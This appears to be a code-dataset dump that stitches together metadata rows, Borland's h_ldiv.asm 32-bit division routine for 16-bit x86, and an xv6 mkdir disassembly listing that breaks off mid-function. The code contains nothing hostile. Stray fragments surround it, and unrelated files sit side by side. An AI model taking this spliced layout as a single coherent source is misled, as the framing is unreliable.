34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 44.418803
| 2,999
| 0.661536
|
6ff26ac620535136f1b9ccdba28a5df2ec1408a0
| 6,637
|
asm
|
Assembly
|
Library/BorlandRTL/h_ldiv.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/BorlandRTL/h_ldiv.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/BorlandRTL/h_ldiv.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
; $Id: h_ldiv.asm,v 1.1 97/04/07 12:04:19 newdeal Exp $
;[]-----------------------------------------------------------------[]
;| H_LDIV.ASM -- long division routine |
;[]-----------------------------------------------------------------[]
;
; C/C++ Run Time Library - Version 5.0
;
; Copyright (c) 1987, 1992 by Borland International
; All Rights Reserved.
;
INCLUDE rules.asi
_TEXT segment public byte 'CODE'
assume cs:_TEXT
public LDIV@
public F_LDIV@
public N_LDIV@
public LUDIV@
public F_LUDIV@
public N_LUDIV@
public LMOD@
public F_LMOD@
public N_LMOD@
public LUMOD@
public F_LUMOD@
public N_LUMOD@
N_LDIV@ proc near
pop cx ;fix up far return
push cs
push cx
.fall_thru
N_LDIV@ endp
LDIV@ proc far
.fall_thru
LDIV@ endp
F_LDIV@ proc far
xor cx,cx ; signed divide
jmp short common
F_LDIV@ endp
N_LUDIV@ proc near
pop cx ;fix up far return
push cs
push cx
.fall_thru
N_LUDIV@ endp
LUDIV@ proc far
.fall_thru
LUDIV@ endp
F_LUDIV@ proc far
mov cx,1 ; unsigned divide
jmp short common
F_LUDIV@ endp
N_LMOD@ proc near
pop cx ;fix up far return
push cs
push cx
.fall_thru
N_LMOD@ endp
LMOD@ proc far
.fall_thru
LMOD@ endp
F_LMOD@ proc far
mov cx,2 ; signed remainder
jmp short common
F_LMOD@ endp
N_LUMOD@ proc near
pop cx ;fix up far return
push cs
push cx
.fall_thru
N_LUMOD@ endp
LUMOD@ proc far
.fall_thru
LUMOD@ endp
F_LUMOD@ proc far
mov cx,3 ; unsigned remainder
;
; di now contains a two bit control value. The low order
; bit (test mask of 1) is on if the operation is unsigned,
; signed otherwise. The next bit (test mask of 2) is on if
; the operation returns the remainder, quotient otherwise.
;
common label near
push bp
push si
push di
mov bp,sp ; set up frame
mov di,cx
;
; dividend is pushed last, therefore the first in the args
; divisor next.
;
mov ax,10[bp] ; get the first low word
mov dx,12[bp] ; get the first high word
mov bx,14[bp] ; get the second low word
mov cx,16[bp] ; get the second high word
or cx,cx
jnz slow@ldiv ; both high words are zero
or dx,dx
jz quick@ldiv
or bx,bx
jz quick@ldiv ; if cx:bx == 0 force a zero divide
; we don't expect this to actually
; work
slow@ldiv:
test di,1 ; signed divide?
jnz positive ; no: skip
;
; Signed division should be done. Convert negative
; values to positive and do an unsigned division.
; Store the sign value in the next higher bit of
; di (test mask of 4). Thus when we are done, testing
; that bit will determine the sign of the result.
;
or dx,dx ; test sign of dividend
jns onepos
neg dx
neg ax
sbb dx,0 ; negate dividend
or di,0Ch
onepos:
or cx,cx ; test sign of divisor
jns positive
neg cx
neg bx
sbb cx,0 ; negate divisor
xor di,4
positive:
mov bp,cx
mov cx,32 ; shift counter
push di ; save the flags
;
; Now the stack looks something like this:
;
; 16[bp]: divisor (high word)
; 14[bp]: divisor (low word)
; 12[bp]: dividend (high word)
; 10[bp]: dividend (low word)
; 8[bp]: return CS
; 6[bp]: return IP
; 4[bp]: previous BP
; 2[bp]: previous SI
; [bp]: previous DI
; -2[bp]: control bits
; 01 - Unsigned divide
; 02 - Remainder wanted
; 04 - Negative quotient
; 08 - Negative remainder
;
xor di,di ; fake a 64 bit dividend
xor si,si ;
xloop:
shl ax,1 ; shift dividend left one bit
rcl dx,1
rcl si,1
rcl di,1
cmp di,bp ; dividend larger?
jb nosub
ja subtract
cmp si,bx ; maybe
jb nosub
subtract:
sub si,bx
sbb di,bp ; subtract the divisor
inc ax ; build quotient
nosub:
loop xloop
;
; When done with the loop the four register value look like:
;
; | di | si | dx | ax |
; | remainder | quotient |
;
pop bx ; get control bits
test bx,2 ; remainder?
jz usequo
mov ax,si
mov dx,di ; use remainder
shr bx,1 ; shift in the remainder sign bit
usequo:
test bx,4 ; needs negative
jz finish
neg dx
neg ax
sbb dx,0 ; negate
finish:
pop di
pop si
pop bp
retf 8
quick@ldiv:
div bx ; unsigned divide
; DX = remainder AX = quotient
test di,2 ; want remainder?
jz quick@quo
xchg ax,dx
quick@quo:
xor dx,dx
jmp short finish
F_LUMOD@ endp
_TEXT ends
| 29.367257
| 76
| 0.413289
|
1985d28fc8802852a4f3c1145f83c1f4d18b8658
| 90,124
|
asm
|
Assembly
|
mkdir.asm
|
tzulang/os2
|
331769c4f7d2bd57346dc5583ee077e97b24f391
|
[
"Xnet",
"X11"
] | null | null | null |
mkdir.asm
|
tzulang/os2
|
331769c4f7d2bd57346dc5583ee077e97b24f391
|
[
"Xnet",
"X11"
] | null | null | null |
mkdir.asm
|
tzulang/os2
|
331769c4f7d2bd57346dc5583ee077e97b24f391
|
[
"Xnet",
"X11"
] | null | null | null |
_mkdir: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 20 sub $0x20,%esp
int i;
if(argc < 2){
9: 83 7d 08 01 cmpl $0x1,0x8(%ebp)
d: 7f 19 jg 28 <main+0x28>
printf(2, "Usage: mkdir files...\n");
f: c7 44 24 04 59 10 00 movl $0x1059,0x4(%esp)
16: 00
17: c7 04 24 02 00 00 00 movl $0x2,(%esp)
1e: e8 9c 04 00 00 call 4bf <printf>
exit();
23: e8 cf 02 00 00 call 2f7 <exit>
}
for(i = 1; i < argc; i++){
28: c7 44 24 1c 01 00 00 movl $0x1,0x1c(%esp)
2f: 00
30: eb 4f jmp 81 <main+0x81>
if(mkdir(argv[i]) < 0){
32: 8b 44 24 1c mov 0x1c(%esp),%eax
36: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
3d: 8b 45 0c mov 0xc(%ebp),%eax
40: 01 d0 add %edx,%eax
42: 8b 00 mov (%eax),%eax
44: 89 04 24 mov %eax,(%esp)
47: e8 13 03 00 00 call 35f <mkdir>
4c: 85 c0 test %eax,%eax
4e: 79 2c jns 7c <main+0x7c>
printf(2, "mkdir: %s failed to create\n", argv[i]);
50: 8b 44 24 1c mov 0x1c(%esp),%eax
54: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
5b: 8b 45 0c mov 0xc(%ebp),%eax
5e: 01 d0 add %edx,%eax
60: 8b 00 mov (%eax),%eax
62: 89 44 24 08 mov %eax,0x8(%esp)
66: c7 44 24 04 70 10 00 movl $0x1070,0x4(%esp)
6d: 00
6e: c7 04 24 02 00 00 00 movl $0x2,(%esp)
75: e8 45 04 00 00 call 4bf <printf>
break;
7a: eb 0e jmp 8a <main+0x8a>
if(argc < 2){
printf(2, "Usage: mkdir files...\n");
exit();
}
for(i = 1; i < argc; i++){
7c: 83 44 24 1c 01 addl $0x1,0x1c(%esp)
81: 8b 44 24 1c mov 0x1c(%esp),%eax
85: 3b 45 08 cmp 0x8(%ebp),%eax
88: 7c a8 jl 32 <main+0x32>
printf(2, "mkdir: %s failed to create\n", argv[i]);
break;
}
}
exit();
8a: e8 68 02 00 00 call 2f7 <exit>
0000008f <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
8f: 55 push %ebp
90: 89 e5 mov %esp,%ebp
92: 57 push %edi
93: 53 push %ebx
asm volatile("cld; rep stosb" :
94: 8b 4d 08 mov 0x8(%ebp),%ecx
97: 8b 55 10 mov 0x10(%ebp),%edx
9a: 8b 45 0c mov 0xc(%ebp),%eax
9d: 89 cb mov %ecx,%ebx
9f: 89 df mov %ebx,%edi
a1: 89 d1 mov %edx,%ecx
a3: fc cld
a4: f3 aa rep stos %al,%es:(%edi)
a6: 89 ca mov %ecx,%edx
a8: 89 fb mov %edi,%ebx
aa: 89 5d 08 mov %ebx,0x8(%ebp)
ad: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
b0: 5b pop %ebx
b1: 5f pop %edi
b2: 5d pop %ebp
b3: c3 ret
000000b4 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
b4: 55 push %ebp
b5: 89 e5 mov %esp,%ebp
b7: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
ba: 8b 45 08 mov 0x8(%ebp),%eax
bd: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
c0: 90 nop
c1: 8b 45 08 mov 0x8(%ebp),%eax
c4: 8d 50 01 lea 0x1(%eax),%edx
c7: 89 55 08 mov %edx,0x8(%ebp)
ca: 8b 55 0c mov 0xc(%ebp),%edx
cd: 8d 4a 01 lea 0x1(%edx),%ecx
d0: 89 4d 0c mov %ecx,0xc(%ebp)
d3: 0f b6 12 movzbl (%edx),%edx
d6: 88 10 mov %dl,(%eax)
d8: 0f b6 00 movzbl (%eax),%eax
db: 84 c0 test %al,%al
dd: 75 e2 jne c1 <strcpy+0xd>
;
return os;
df: 8b 45 fc mov -0x4(%ebp),%eax
}
e2: c9 leave
e3: c3 ret
000000e4 <strcmp>:
int
strcmp(const char *p, const char *q)
{
e4: 55 push %ebp
e5: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
e7: eb 08 jmp f1 <strcmp+0xd>
p++, q++;
e9: 83 45 08 01 addl $0x1,0x8(%ebp)
ed: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
f1: 8b 45 08 mov 0x8(%ebp),%eax
f4: 0f b6 00 movzbl (%eax),%eax
f7: 84 c0 test %al,%al
f9: 74 10 je 10b <strcmp+0x27>
fb: 8b 45 08 mov 0x8(%ebp),%eax
fe: 0f b6 10 movzbl (%eax),%edx
101: 8b 45 0c mov 0xc(%ebp),%eax
104: 0f b6 00 movzbl (%eax),%eax
107: 38 c2 cmp %al,%dl
109: 74 de je e9 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
10b: 8b 45 08 mov 0x8(%ebp),%eax
10e: 0f b6 00 movzbl (%eax),%eax
111: 0f b6 d0 movzbl %al,%edx
114: 8b 45 0c mov 0xc(%ebp),%eax
117: 0f b6 00 movzbl (%eax),%eax
11a: 0f b6 c0 movzbl %al,%eax
11d: 29 c2 sub %eax,%edx
11f: 89 d0 mov %edx,%eax
}
121: 5d pop %ebp
122: c3 ret
00000123 <strlen>:
uint
strlen(char *s)
{
123: 55 push %ebp
124: 89 e5 mov %esp,%ebp
126: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
129: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
130: eb 04 jmp 136 <strlen+0x13>
132: 83 45 fc 01 addl $0x1,-0x4(%ebp)
136: 8b 55 fc mov -0x4(%ebp),%edx
139: 8b 45 08 mov 0x8(%ebp),%eax
13c: 01 d0 add %edx,%eax
13e: 0f b6 00 movzbl (%eax),%eax
141: 84 c0 test %al,%al
143: 75 ed jne 132 <strlen+0xf>
;
return n;
145: 8b 45 fc mov -0x4(%ebp),%eax
}
148: c9 leave
149: c3 ret
0000014a <memset>:
void*
memset(void *dst, int c, uint n)
{
14a: 55 push %ebp
14b: 89 e5 mov %esp,%ebp
14d: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
150: 8b 45 10 mov 0x10(%ebp),%eax
153: 89 44 24 08 mov %eax,0x8(%esp)
157: 8b 45 0c mov 0xc(%ebp),%eax
15a: 89 44 24 04 mov %eax,0x4(%esp)
15e: 8b 45 08 mov 0x8(%ebp),%eax
161: 89 04 24 mov %eax,(%esp)
164: e8 26 ff ff ff call 8f <stosb>
return dst;
169: 8b 45 08 mov 0x8(%ebp),%eax
}
16c: c9 leave
16d: c3 ret
0000016e <strchr>:
char*
strchr(const char *s, char c)
{
16e: 55 push %ebp
16f: 89 e5 mov %esp,%ebp
171: 83 ec 04 sub $0x4,%esp
174: 8b 45 0c mov 0xc(%ebp),%eax
177: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
17a: eb 14 jmp 190 <strchr+0x22>
if(*s == c)
17c: 8b 45 08 mov 0x8(%ebp),%eax
17f: 0f b6 00 movzbl (%eax),%eax
182: 3a 45 fc cmp -0x4(%ebp),%al
185: 75 05 jne 18c <strchr+0x1e>
return (char*)s;
187: 8b 45 08 mov 0x8(%ebp),%eax
18a: eb 13 jmp 19f <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
18c: 83 45 08 01 addl $0x1,0x8(%ebp)
190: 8b 45 08 mov 0x8(%ebp),%eax
193: 0f b6 00 movzbl (%eax),%eax
196: 84 c0 test %al,%al
198: 75 e2 jne 17c <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
19a: b8 00 00 00 00 mov $0x0,%eax
}
19f: c9 leave
1a0: c3 ret
000001a1 <gets>:
char*
gets(char *buf, int max)
{
1a1: 55 push %ebp
1a2: 89 e5 mov %esp,%ebp
1a4: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
1a7: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1ae: eb 4c jmp 1fc <gets+0x5b>
cc = read(0, &c, 1);
1b0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
1b7: 00
1b8: 8d 45 ef lea -0x11(%ebp),%eax
1bb: 89 44 24 04 mov %eax,0x4(%esp)
1bf: c7 04 24 00 00 00 00 movl $0x0,(%esp)
1c6: e8 44 01 00 00 call 30f <read>
1cb: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
1ce: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1d2: 7f 02 jg 1d6 <gets+0x35>
break;
1d4: eb 31 jmp 207 <gets+0x66>
buf[i++] = c;
1d6: 8b 45 f4 mov -0xc(%ebp),%eax
1d9: 8d 50 01 lea 0x1(%eax),%edx
1dc: 89 55 f4 mov %edx,-0xc(%ebp)
1df: 89 c2 mov %eax,%edx
1e1: 8b 45 08 mov 0x8(%ebp),%eax
1e4: 01 c2 add %eax,%edx
1e6: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1ea: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
1ec: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1f0: 3c 0a cmp $0xa,%al
1f2: 74 13 je 207 <gets+0x66>
1f4: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1f8: 3c 0d cmp $0xd,%al
1fa: 74 0b je 207 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1fc: 8b 45 f4 mov -0xc(%ebp),%eax
1ff: 83 c0 01 add $0x1,%eax
202: 3b 45 0c cmp 0xc(%ebp),%eax
205: 7c a9 jl 1b0 <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
207: 8b 55 f4 mov -0xc(%ebp),%edx
20a: 8b 45 08 mov 0x8(%ebp),%eax
20d: 01 d0 add %edx,%eax
20f: c6 00 00 movb $0x0,(%eax)
return buf;
212: 8b 45 08 mov 0x8(%ebp),%eax
}
215: c9 leave
216: c3 ret
00000217 <stat>:
int
stat(char *n, struct stat *st)
{
217: 55 push %ebp
218: 89 e5 mov %esp,%ebp
21a: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
21d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
224: 00
225: 8b 45 08 mov 0x8(%ebp),%eax
228: 89 04 24 mov %eax,(%esp)
22b: e8 07 01 00 00 call 337 <open>
230: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
233: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
237: 79 07 jns 240 <stat+0x29>
return -1;
239: b8 ff ff ff ff mov $0xffffffff,%eax
23e: eb 23 jmp 263 <stat+0x4c>
r = fstat(fd, st);
240: 8b 45 0c mov 0xc(%ebp),%eax
243: 89 44 24 04 mov %eax,0x4(%esp)
247: 8b 45 f4 mov -0xc(%ebp),%eax
24a: 89 04 24 mov %eax,(%esp)
24d: e8 fd 00 00 00 call 34f <fstat>
252: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
255: 8b 45 f4 mov -0xc(%ebp),%eax
258: 89 04 24 mov %eax,(%esp)
25b: e8 bf 00 00 00 call 31f <close>
return r;
260: 8b 45 f0 mov -0x10(%ebp),%eax
}
263: c9 leave
264: c3 ret
00000265 <atoi>:
int
atoi(const char *s)
{
265: 55 push %ebp
266: 89 e5 mov %esp,%ebp
268: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
26b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
272: eb 25 jmp 299 <atoi+0x34>
n = n*10 + *s++ - '0';
274: 8b 55 fc mov -0x4(%ebp),%edx
277: 89 d0 mov %edx,%eax
279: c1 e0 02 shl $0x2,%eax
27c: 01 d0 add %edx,%eax
27e: 01 c0 add %eax,%eax
280: 89 c1 mov %eax,%ecx
282: 8b 45 08 mov 0x8(%ebp),%eax
285: 8d 50 01 lea 0x1(%eax),%edx
288: 89 55 08 mov %edx,0x8(%ebp)
28b: 0f b6 00 movzbl (%eax),%eax
28e: 0f be c0 movsbl %al,%eax
291: 01 c8 add %ecx,%eax
293: 83 e8 30 sub $0x30,%eax
296: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
299: 8b 45 08 mov 0x8(%ebp),%eax
29c: 0f b6 00 movzbl (%eax),%eax
29f: 3c 2f cmp $0x2f,%al
2a1: 7e 0a jle 2ad <atoi+0x48>
2a3: 8b 45 08 mov 0x8(%ebp),%eax
2a6: 0f b6 00 movzbl (%eax),%eax
2a9: 3c 39 cmp $0x39,%al
2ab: 7e c7 jle 274 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
2ad: 8b 45 fc mov -0x4(%ebp),%eax
}
2b0: c9 leave
2b1: c3 ret
000002b2 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
2b2: 55 push %ebp
2b3: 89 e5 mov %esp,%ebp
2b5: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
2b8: 8b 45 08 mov 0x8(%ebp),%eax
2bb: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
2be: 8b 45 0c mov 0xc(%ebp),%eax
2c1: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
2c4: eb 17 jmp 2dd <memmove+0x2b>
*dst++ = *src++;
2c6: 8b 45 fc mov -0x4(%ebp),%eax
2c9: 8d 50 01 lea 0x1(%eax),%edx
2cc: 89 55 fc mov %edx,-0x4(%ebp)
2cf: 8b 55 f8 mov -0x8(%ebp),%edx
2d2: 8d 4a 01 lea 0x1(%edx),%ecx
2d5: 89 4d f8 mov %ecx,-0x8(%ebp)
2d8: 0f b6 12 movzbl (%edx),%edx
2db: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2dd: 8b 45 10 mov 0x10(%ebp),%eax
2e0: 8d 50 ff lea -0x1(%eax),%edx
2e3: 89 55 10 mov %edx,0x10(%ebp)
2e6: 85 c0 test %eax,%eax
2e8: 7f dc jg 2c6 <memmove+0x14>
*dst++ = *src++;
return vdst;
2ea: 8b 45 08 mov 0x8(%ebp),%eax
}
2ed: c9 leave
2ee: c3 ret
000002ef <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2ef: b8 01 00 00 00 mov $0x1,%eax
2f4: cd 40 int $0x40
2f6: c3 ret
000002f7 <exit>:
SYSCALL(exit)
2f7: b8 02 00 00 00 mov $0x2,%eax
2fc: cd 40 int $0x40
2fe: c3 ret
000002ff <wait>:
SYSCALL(wait)
2ff: b8 03 00 00 00 mov $0x3,%eax
304: cd 40 int $0x40
306: c3 ret
00000307 <pipe>:
SYSCALL(pipe)
307: b8 04 00 00 00 mov $0x4,%eax
30c: cd 40 int $0x40
30e: c3 ret
0000030f <read>:
SYSCALL(read)
30f: b8 05 00 00 00 mov $0x5,%eax
314: cd 40 int $0x40
316: c3 ret
00000317 <write>:
SYSCALL(write)
317: b8 10 00 00 00 mov $0x10,%eax
31c: cd 40 int $0x40
31e: c3 ret
0000031f <close>:
SYSCALL(close)
31f: b8 15 00 00 00 mov $0x15,%eax
324: cd 40 int $0x40
326: c3 ret
00000327 <kill>:
SYSCALL(kill)
327: b8 06 00 00 00 mov $0x6,%eax
32c: cd 40 int $0x40
32e: c3 ret
0000032f <exec>:
SYSCALL(exec)
32f: b8 07 00 00 00 mov $0x7,%eax
334: cd 40 int $0x40
336: c3 ret
00000337 <open>:
SYSCALL(open)
337: b8 0f 00 00 00 mov $0xf,%eax
33c: cd 40 int $0x40
33e: c3 ret
0000033f <mknod>:
SYSCALL(mknod)
33f: b8 11 00 00 00 mov $0x11,%eax
344: cd 40 int $0x40
346: c3 ret
00000347 <unlink>:
SYSCALL(unlink)
347: b8 12 00 00 00 mov $0x12,%eax
34c: cd 40 int $0x40
34e: c3 ret
0000034f <fstat>:
SYSCALL(fstat)
34f: b8 08 00 00 00 mov $0x8,%eax
354: cd 40 int $0x40
356: c3 ret
00000357 <link>:
SYSCALL(link)
357: b8 13 00 00 00 mov $0x13,%eax
35c: cd 40 int $0x40
35e: c3 ret
0000035f <mkdir>:
SYSCALL(mkdir)
35f: b8 14 00 00 00 mov $0x14,%eax
364: cd 40 int $0x40
366: c3 ret
00000367 <chdir>:
SYSCALL(chdir)
367: b8 09 00 00 00 mov $0x9,%eax
36c: cd 40 int $0x40
36e: c3 ret
0000036f <dup>:
SYSCALL(dup)
36f: b8 0a 00 00 00 mov $0xa,%eax
374: cd 40 int $0x40
376: c3 ret
00000377 <getpid>:
SYSCALL(getpid)
377: b8 0b 00 00 00 mov $0xb,%eax
37c: cd 40 int $0x40
37e: c3 ret
0000037f <sbrk>:
SYSCALL(sbrk)
37f: b8 0c 00 00 00 mov $0xc,%eax
384: cd 40 int $0x40
386: c3 ret
00000387 <sleep>:
SYSCALL(sleep)
387: b8 0d 00 00 00 mov $0xd,%eax
38c: cd 40 int $0x40
38e: c3 ret
0000038f <uptime>:
SYSCALL(uptime)
38f: b8 0e 00 00 00 mov $0xe,%eax
394: cd 40 int $0x40
396: c3 ret
00000397 <kthread_create>:
SYSCALL(kthread_create)
397: b8 16 00 00 00 mov $0x16,%eax
39c: cd 40 int $0x40
39e: c3 ret
0000039f <kthread_id>:
SYSCALL(kthread_id)
39f: b8 17 00 00 00 mov $0x17,%eax
3a4: cd 40 int $0x40
3a6: c3 ret
000003a7 <kthread_exit>:
SYSCALL(kthread_exit)
3a7: b8 18 00 00 00 mov $0x18,%eax
3ac: cd 40 int $0x40
3ae: c3 ret
000003af <kthread_join>:
SYSCALL(kthread_join)
3af: b8 19 00 00 00 mov $0x19,%eax
3b4: cd 40 int $0x40
3b6: c3 ret
000003b7 <kthread_mutex_alloc>:
SYSCALL(kthread_mutex_alloc)
3b7: b8 1a 00 00 00 mov $0x1a,%eax
3bc: cd 40 int $0x40
3be: c3 ret
000003bf <kthread_mutex_dealloc>:
SYSCALL(kthread_mutex_dealloc)
3bf: b8 1b 00 00 00 mov $0x1b,%eax
3c4: cd 40 int $0x40
3c6: c3 ret
000003c7 <kthread_mutex_lock>:
SYSCALL(kthread_mutex_lock)
3c7: b8 1c 00 00 00 mov $0x1c,%eax
3cc: cd 40 int $0x40
3ce: c3 ret
000003cf <kthread_mutex_unlock>:
SYSCALL(kthread_mutex_unlock)
3cf: b8 1d 00 00 00 mov $0x1d,%eax
3d4: cd 40 int $0x40
3d6: c3 ret
000003d7 <kthread_mutex_yieldlock>:
3d7: b8 1e 00 00 00 mov $0x1e,%eax
3dc: cd 40 int $0x40
3de: c3 ret
000003df <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
3df: 55 push %ebp
3e0: 89 e5 mov %esp,%ebp
3e2: 83 ec 18 sub $0x18,%esp
3e5: 8b 45 0c mov 0xc(%ebp),%eax
3e8: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
3eb: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3f2: 00
3f3: 8d 45 f4 lea -0xc(%ebp),%eax
3f6: 89 44 24 04 mov %eax,0x4(%esp)
3fa: 8b 45 08 mov 0x8(%ebp),%eax
3fd: 89 04 24 mov %eax,(%esp)
400: e8 12 ff ff ff call 317 <write>
}
405: c9 leave
406: c3 ret
00000407 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
407: 55 push %ebp
408: 89 e5 mov %esp,%ebp
40a: 56 push %esi
40b: 53 push %ebx
40c: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
40f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
416: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
41a: 74 17 je 433 <printint+0x2c>
41c: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
420: 79 11 jns 433 <printint+0x2c>
neg = 1;
422: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
429: 8b 45 0c mov 0xc(%ebp),%eax
42c: f7 d8 neg %eax
42e: 89 45 ec mov %eax,-0x14(%ebp)
431: eb 06 jmp 439 <printint+0x32>
} else {
x = xx;
433: 8b 45 0c mov 0xc(%ebp),%eax
436: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
439: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
440: 8b 4d f4 mov -0xc(%ebp),%ecx
443: 8d 41 01 lea 0x1(%ecx),%eax
446: 89 45 f4 mov %eax,-0xc(%ebp)
449: 8b 5d 10 mov 0x10(%ebp),%ebx
44c: 8b 45 ec mov -0x14(%ebp),%eax
44f: ba 00 00 00 00 mov $0x0,%edx
454: f7 f3 div %ebx
456: 89 d0 mov %edx,%eax
458: 0f b6 80 18 15 00 00 movzbl 0x1518(%eax),%eax
45f: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
463: 8b 75 10 mov 0x10(%ebp),%esi
466: 8b 45 ec mov -0x14(%ebp),%eax
469: ba 00 00 00 00 mov $0x0,%edx
46e: f7 f6 div %esi
470: 89 45 ec mov %eax,-0x14(%ebp)
473: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
477: 75 c7 jne 440 <printint+0x39>
if(neg)
479: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
47d: 74 10 je 48f <printint+0x88>
buf[i++] = '-';
47f: 8b 45 f4 mov -0xc(%ebp),%eax
482: 8d 50 01 lea 0x1(%eax),%edx
485: 89 55 f4 mov %edx,-0xc(%ebp)
488: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
48d: eb 1f jmp 4ae <printint+0xa7>
48f: eb 1d jmp 4ae <printint+0xa7>
putc(fd, buf[i]);
491: 8d 55 dc lea -0x24(%ebp),%edx
494: 8b 45 f4 mov -0xc(%ebp),%eax
497: 01 d0 add %edx,%eax
499: 0f b6 00 movzbl (%eax),%eax
49c: 0f be c0 movsbl %al,%eax
49f: 89 44 24 04 mov %eax,0x4(%esp)
4a3: 8b 45 08 mov 0x8(%ebp),%eax
4a6: 89 04 24 mov %eax,(%esp)
4a9: e8 31 ff ff ff call 3df <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
4ae: 83 6d f4 01 subl $0x1,-0xc(%ebp)
4b2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4b6: 79 d9 jns 491 <printint+0x8a>
putc(fd, buf[i]);
}
4b8: 83 c4 30 add $0x30,%esp
4bb: 5b pop %ebx
4bc: 5e pop %esi
4bd: 5d pop %ebp
4be: c3 ret
000004bf <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4bf: 55 push %ebp
4c0: 89 e5 mov %esp,%ebp
4c2: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
4c5: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
4cc: 8d 45 0c lea 0xc(%ebp),%eax
4cf: 83 c0 04 add $0x4,%eax
4d2: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
